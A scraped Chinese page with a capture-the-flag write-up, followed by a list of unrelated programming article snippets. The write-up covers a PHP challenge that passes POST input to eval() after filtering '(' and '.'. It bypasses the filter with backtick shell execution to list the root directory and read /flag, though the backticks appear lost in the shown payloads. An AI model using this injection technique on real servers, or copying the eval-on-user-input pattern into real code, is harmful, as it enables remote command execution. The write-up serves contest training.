当前位置： 首页 > news >正文

2023SICTF-web-白猫-RCE

news 2026/5/25 10:30:39

0×01 分析题目

题目名称： RCE 题目简介： 请bypass我！ 题目环境： http://210.44.151.51:10088/

函数理解：
#PHP str_replace() 函数

<!DOCTYPE html>
<html>
<body><?php
echo str_replace("world","Shanghai","Hello world!");
?></body>
</html>

Hello Shanghai!
定义和用法
str_replace() 函数以其他字符替换字符串中的一些字符（区分大小写）。
该函数必须遵循下列规则：

1.如果搜索的字符串是数组，那么它将返回数组。
2.如果搜索的字符串是数组，那么它将对数组中的每个元素进行查找和替换。
3.如果同时需要对数组进行查找和替换，并且需要执行替换的元素少于查找到的元素的数量，那么多余元素将用空字符串进行替换
4.如果查找的是数组，而替换的是字符串，那么替代字符串将对所有查找到的值起作用。

#语法

str_replace(find,replace,string,count)

参数

1.find 必需。规定要查找的值。
2.replace 必需。规定替换 find 中的值的值。
3.string 必需。规定被搜索的字符串。
4.count 可选。对替换数进行计数的变量。

#eval() 函数把字符串按照 PHP 代码来计算。

环境代码：

<?php #PHP开始代码，头代码 error_reporting(0); #屏蔽所有报错信息 highlight_file(__FILE__); #文件高亮显示，将代码呈现出来 $code = $_POST['code']; #定义了一个code参数，通过$_POST方法获取code参数的值 $code = str_replace("(","hacker",$code); #将参数code里面的(替换为hacker $code = str_replace(".","hacker",$code); #将参数code里面的.替换为hacker eval($code); #将参数code的值或者字符串作为PHP代码来执行 ?> #执行

不难看出题目中进行了(和.的过滤，我们的进行RCE绕过

0×02 开始解题

我们可以利用反引号执行命令 echo输出
code=echo ls /;
输出了根/目录下的所有文件及其目录
看到一个名为flag的文件
使用cat命令去查看里面的内容
code=echo cat /flag;
最终曝出了flag

相关文章：

2023SICTF-web-白猫-RCE

001 分析题目 题目名称&#xff1a; RCE 题目简介&#xff1a; 请bypass我&#xff01; 题目环境&#xff1a; http://210.44.151.51:10088/ 函数理解&#xff1a; #PHP str_replace() 函数 <!DOCTYPE html> <html> <body><?php echo str_replace("…...

编程日记 2023/11/30 15:30:02

1.用数组输出0-9

文章目录 前言一、题目描述 二、题目分析 三、解题 程序运行代码 四、举一反三一、题目描述 二、题目分析 三、解题 程序运行代码 总结 前言 本系列为数组编程题&#xff0c;点滴成长&#xff0c;一起逆袭。 一、题目描述 用数组输出0-9 二、题目分析 数组下标从0开始 用数组…...

编程日记 2023/11/30 15:29:00

Selenium 元素不能定位总结

目录 元素不能定位总结: 1、定位语法错误&#xff1a; 定位语法错误&#xff0c;如无效的xpath&#xff0c;css selector,dom路径错误&#xff0c;动态dom 定位语法错误&#xff0c;动态路径&#xff08;动态变化&#xff09; 定位策略错误&#xff0c;如dom没有id用id定位…...

编程日记 2023/11/30 15:26:56

1-2 非阻塞延时实现LED闪烁功能（累计定时中断次数）--多路软件定时器的功能实现

单路 #include <reg51.h> #include "delay.h"#define LED_SHINE_TIME 1000//1sunsigned int g_u16_timer_cnt;//在定时器的基础上进行计数 unsigned char g_u8_time_flag;//时间到的标志 unsigned char g_u8_timer_soft_enable;//定时器的软件开关sbit LED0P1…...

编程日记 2023/11/30 15:25:55

数据类型及强制转换

数据类型范围&#xff08;基本&#xff09; 数据类型占内存字节数表示范围数量级char&#xff08;signed char&#xff09;1-128~1272unsigned char10~2552short int&#xff08;signed short int&#xff09;2-32,768~32,7674unsigned short int20~65,5354int&#xff08;sig…...

编程日记 2023/11/30 15:22:52

Python----高阶函数

高阶函数&#xff1a;把函数作为参数传入&#xff0c;这样的函数称为高阶函数&#xff0c;高阶函数是函数式编程的体现。函数式编程就是指这种高度抽象的编程范式。 高阶函数的由来 在Python中&#xff0c;abs()函数可以完成对数字求绝对值计算。 ① 正数的绝对值是它本身 ②…...

编程日记 2023/11/30 15:21:51

Unity地面交互效果——6、地形动态顶点置换和曲面细分

回到目录 Unity置换贴图局部距离曲面细分 大家好&#xff0c;我是阿赵。   这篇文章是我无聊的时候做了一个demo&#xff0c;觉得挺有趣&#xff0c;于是就发上来。这里面包含了4个内容&#xff1a;置换贴图、顶点偏移、局部曲面细分&#xff0c;曲面细分按距离调整强度。 …...

编程日记 2023/11/30 15:20:50

Linux系统服务之一次性服务（2）

接前一篇文章&#xff1a;Linux系统服务之一次性服务&#xff08;1&#xff09; 本文内容参考以下文章&#xff1a; Systemd OneShot 系统启动时运行一次特定的命令或脚本&#xff0c;并在执行完毕后自动退出-CSDN博客 oneshot一次性服务_typeoneshot-CSDN博客 systemd.serv…...

编程日记 2023/11/30 15:18:49

Vue项目解决van-calendar 显示白色空白，需滑动一下屏幕，才可正常显示

问题描述&#xff0c;如图 ipad(平板&#xff09;或者 H5移动端引入Vant组件的日历组件&#xff08;van-calendar&#xff09;&#xff0c;初始化显示空白&#xff0c;需滚动一下屏幕&#xff0c;才可正常显示 解决方法 需在van-calendar上绑定open"openCalendar"事件…...

编程日记 2023/11/30 15:17:48

Linux：可视化管理工具Webmin的安装

一、下载 地址&#xff1a;Webmin官网 我这里下载的是1.700-1版本 二、安装 1、在虚拟机上新建目录并安装软件 mkdir /opt/webmin rpm -ivh webmin-1.700-1.noarch.rpm2、修改webmin的root密码 /usr/libexec/webmin/changepass.pl /etc/webmin root 1234563、修改端口(可…...

编程日记 2023/11/30 15:16:47

WARNING: Access control is not enabled for the database.

MongoDB shell version v3.4.24 WARNING: Access control is not enabled for the database. Read and write access to data and configuration is unrestricted. 1)未启用访问控制 2)读写访问不受限制 D:\MongoDB\Server\3.4\bin>mongo MongoDB shell version v3.4.24 c…...

编程日记 2023/11/30 15:15:46

JavaScript编程进阶 – Return语句

JavaScript编程进阶 – Return语句 JavaScript Programming Advanced – Return Statement By JacksonML 就像人们习惯的函数一样&#xff0c;总觉得在函数体最后需要一个return语句&#xff0c;标志着函数的结束,就像下面这个函数 theFunc() 那样。 function theFunc() { re…...

编程日记 2023/11/30 15:13:44

Python与设计模式--备忘录模式

23种计模式之 前言 &#xff08;5&#xff09;单例模式、工厂模式、简单工厂模式、抽象工厂模式、建造者模式、原型模式、(7)代理模式、装饰器模式、适配器模式、门面模式、组合模式、享元模式、桥梁模式、&#xff08;11&#xff09;策略模式、责任链模式、命令模式、中介者模…...

编程日记 2023/11/30 15:12:42

04_Flutter自定义Slider滑块

04_Flutter自定义Slider滑块 一.Slider控件基本用法 Column(mainAxisAlignment: MainAxisAlignment.start,children: <Widget>[Text("sliderValue: ${_sliderValue.toInt()}"),Slider(value: _sliderValue,min: 0,max: 100,divisions: 10,thumbColor: Colors.…...

编程日记 2023/11/30 15:11:41

服务器数据恢复—EMC存储raid5故障导致上层应用崩溃的数据恢复案例

服务器存储数据恢复环境&#xff1a; EMC某型号存储&#xff0c;8块组建一组raid5磁盘阵列。上层操作系统采用zfs文件系统。 服务器存储故障&分析&#xff1a; raid5阵列中有2块硬盘未知原因离线&#xff0c;raid5阵列崩溃&#xff0c;上层应用无法正常使用。 服务器数据恢…...

编程日记 2023/11/30 15:08:38

7.1 Windows驱动开发：内核监控进程与线程回调

在前面的文章中LyShark一直在重复的实现对系统底层模块的枚举&#xff0c;今天我们将展开一个新的话题&#xff0c;内核监控&#xff0c;我们以监控进程线程创建为例&#xff0c;在Win10系统中监控进程与线程可以使用微软提供给我们的两个新函数来实现&#xff0c;此类函数的原…...

编程日记 2023/11/30 15:07:37

基于ssm的汽车论坛管理系统设计与实现

基于ssm的汽车论坛管理系统设计与实现 摘要&#xff1a;信息化社会内需要与之针对性的信息获取途径&#xff0c;但是途径的扩展基本上为人们所努力的方向&#xff0c;由于站在的角度存在偏差&#xff0c;人们经常能够获得不同类型信息&#xff0c;这也是技术最为难以攻克的课题…...

编程日记 2023/11/30 15:05:35

实习开发日志经验总结（一）

文章目录 前言实习日志经验总结 前言 自己之前实习过程中遇到的问题以及相应的解决过程&#xff0c;我都有记录形成比较凌乱的实习日志。故想在整个实习日志的基础上&#xff0c;提炼一些技术知识点或者是解决问题的思路。考虑到实习项目的不方便公开性&#xff0c;所以会隐去…...

编程日记 2023/11/30 15:04:34

【Unity基础】8.简单场景的搭建

【Unity基础】8.简单场景的搭建 大家好&#xff0c;我是Lampard~~ 欢迎来到Unity基础系列博客&#xff0c;所学知识来自B站阿发老师~感谢 &#xff08;一&#xff09;场景资源 &#xff08;1&#xff09;Import资源包 今天我们将手动去搭一个简单的场景&#xff0c;当…...

编程日记 2023/11/30 15:03:33

傅里叶变换及其在机器学习中的应用

​​​​​​​一、介绍 傅立叶变换是一种数学技术&#xff0c;在各个科学和工程领域发挥着关键作用&#xff0c;其应用范围从信号处理到量子力学。近年来&#xff0c;它在机器学习领域发现了新的意义。本文探讨了傅里叶变换的基础知识及其在机器学习应用中日益增长的重要性。 …...

编程日记 2023/11/30 15:02:31

手把手拆解蓝牙Extended Advertising数据包：从HCI Command到空口PDU的完整流程

手把手拆解蓝牙Extended Advertising数据包&#xff1a;从HCI Command到空口PDU的完整流程 蓝牙技术演进到5.0版本后&#xff0c;Extended Advertising&#xff08;扩展广播&#xff09;机制的引入彻底改变了低功耗蓝牙的通信范式。这项技术突破不仅解决了传统广播模式的诸多限…...

编程新知 2026/5/25 10:04:20

终极Go性能优化工具gcvis：实时可视化GC跟踪数据完整指南

终极Go性能优化工具gcvis&#xff1a;实时可视化GC跟踪数据完整指南 【免费下载链接】gcvis Visualise Go program GC trace data in real time 项目地址: https://gitcode.com/gh_mirrors/gc/gcvis gcvis是一款专为Go语言开发者设计的实时垃圾回收可视化工具&#xff0…...

编程新知 2026/5/25 9:53:40

科学机器学习工作流：融合物理与数据驱动的气候建模新范式

1. 项目概述&#xff1a;当气候科学遇见机器学习工作流 如果你和我一样&#xff0c;在气候科学或者更广泛的科学计算领域摸爬滚打多年&#xff0c;一定经历过这样的时刻&#xff1a;面对一个物理过程复杂、计算成本高昂的模型&#xff0c;既想引入数据驱动的新方法提升效率&…...

编程新知 2026/5/25 9:47:31

构建 AI Agent Harness Engineering 时常见的十个错误

构建 AI Agent Harness Engineering 时常见的十个错误 | 从翻车案例到生产级落地最佳实践 引入：85%的Agent上线失败，问题都出在「缰绳」上 2024年Q2，国内某股份制银行上线的智能理财顾问Agent，上线仅3天就触发了3起严重合规事故：风险承受能力等级为C1（最低风险等级）的用…...

编程新知 2026/5/25 9:16:13

Rocky Linux 9.2 安装避坑指南：解决UEFI引导、分区加密、安装黑屏等常见问题

Rocky Linux 9.2 实战安装排雷手册&#xff1a;从UEFI配置到疑难解析当CentOS转向Stream分支后&#xff0c;Rocky Linux凭借其与RHEL的二进制兼容性和稳定的发布周期&#xff0c;迅速成为企业级环境的首选替代方案。但在实际安装过程中&#xff0c;即便是经验丰富的系统管理员也…...

编程新知 2026/5/25 7:59:28

BepInEx 6.0技术揭秘：如何构建跨平台Unity插件框架的5大核心机制

BepInEx 6.0技术揭秘&#xff1a;如何构建跨平台Unity插件框架的5大核心机制 【免费下载链接】BepInEx Unity / XNA game patcher and plugin framework 项目地址: https://gitcode.com/GitHub_Trending/be/BepInEx 在Unity游戏开发领域&#xff0c;插件框架的技术实现一…...

编程新知 2026/5/25 7:41:30

机器学习在糖尿病并发症预测中的应用：逻辑回归、SVM与随机森林对比实践

1. 项目概述&#xff1a;当机器学习遇见糖尿病并发症预测作为一名长期关注医疗数据分析的从业者&#xff0c;我见过太多糖尿病患者在确诊心肾并发症时&#xff0c;病情已进展到中晚期&#xff0c;治疗窗口期大大缩短。糖尿病本身的管理已足够复杂&#xff0c;而其引发的慢性肾病…...

编程新知 2026/5/25 7:07:41

AArch64虚拟内存系统架构与页表转换机制详解

1. AArch64虚拟内存系统架构概述在AArch64架构中&#xff0c;虚拟内存系统是处理器核心功能之一&#xff0c;它通过多级页表机制实现虚拟地址到物理地址的转换。这套系统不仅支持常规的内存管理需求&#xff0c;还针对虚拟化、安全隔离等场景提供了丰富的硬件支持特性。虚拟内存…...

编程新知 2026/5/25 6:57:23

Atlas-Learn：从点云构建流形图册的工程实践与黎曼优化应用

1. 项目概述&#xff1a;从点云到流形图册的工程实践在机器学习和数据科学领域&#xff0c;我们常常面对一个核心困境&#xff1a;数据点看似散落在高维的欧几里得空间中&#xff0c;但其内在的、有意义的规律却往往存在于一个低维的非线性结构上。想象一下&#xff0c;你有一堆…...

编程新知 2026/5/25 6:43:50

Zilliqa安全机制详解：PoW与分片如何保障区块链安全

Zilliqa安全机制详解&#xff1a;PoW与分片如何保障区块链安全 【免费下载链接】zq1 Zilliqa is the worlds first high-throughput public blockchain platform - designed to scale to thousands ​of transactions per second. 项目地址: https://gitcode.com/gh_mirrors/…...

编程新知 2026/5/25 6:34:54